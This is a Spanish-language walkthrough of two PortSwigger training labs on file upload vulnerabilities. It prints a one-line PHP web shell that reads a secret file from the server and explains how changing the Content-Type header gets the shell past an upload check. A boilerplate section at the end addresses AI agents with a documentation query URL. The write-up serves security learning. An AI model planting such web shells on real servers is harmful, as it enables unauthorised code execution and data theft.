# File upload vulnerabilities

## Lab: Remote code execution via web shell upload

## Enunciado

Este laboratorio contiene una **función vulnerable de carga de imágenes**, que **no realiza ninguna validación** sobre los archivos que los usuarios suben antes de almacenarlos en el sistema de archivos del servidor. **Subir una web shell básica en PHP**, usarla para **extraer el contenido del archivo `/home/carlos/secret`**, y **enviar ese secreto** utilizando el botón provisto en el banner del laboratorio. Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:\
**Usuario:** `wiener`\
**Contraseña:** `peter`

## Resolución

Nos logueamos y vemos que podemos subir un archivo por lo que creamos una shell básica y la subimos.

```
<?php echo file_get_contents('/home/carlos/secret'); ?>
```

<figure><img src="/files/TEfBLdH1LmveTDtTe6EG" alt=""><figcaption></figcaption></figure>

Vemos la petición de donde está el archivo.

<figure><img src="/files/pIaHbGSyil4FJVVdTQWi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7DSlRv05vE7flW2xqjd1" alt=""><figcaption></figcaption></figure>

## Lab: Web shell upload via Content-Type restriction bypass

## Enunciado

Este laboratorio contiene una **función vulnerable de carga de imágenes**. Intenta evitar que los usuarios suban tipos de archivos no permitidos, pero **confía en datos que el propio usuario puede manipular** para hacer esa verificación. **Subir una web shell básica en PHP**, usarla para **extraer el contenido del archivo `/home/carlos/secret`**, y **enviar ese secreto** utilizando el botón del banner del laboratorio.

Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:\
**Usuario:** `wiener`\
**Contraseña:** `peter`

## Resolución

Nos logueamos y al intentar subir archivos podemos subir archivos con ciertas extensiones.

<figure><img src="/files/0ZlB4IZ2roNExLoGwvcX" alt=""><figcaption></figcaption></figure>

Vemos la petición.

<figure><img src="/files/mWbG9tfqLFpbwE1fHWvm" alt=""><figcaption></figcaption></figure>

Tal como dice el enunciado vamos a cambiarle el **Content-Type** por uno válido.

<figure><img src="/files/W5yJdtMuTC1Kl0MJMp2S" alt=""><figcaption></figcaption></figure>

Vemos la ruta donde se ha subido.

<figure><img src="/files/WeFxPBccO5ub9IrNfAKy" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FVHhX4tfmtHuQ4hPOntD" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/web-security/laboratorios-portswigger/file-upload-vulnerabilities.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
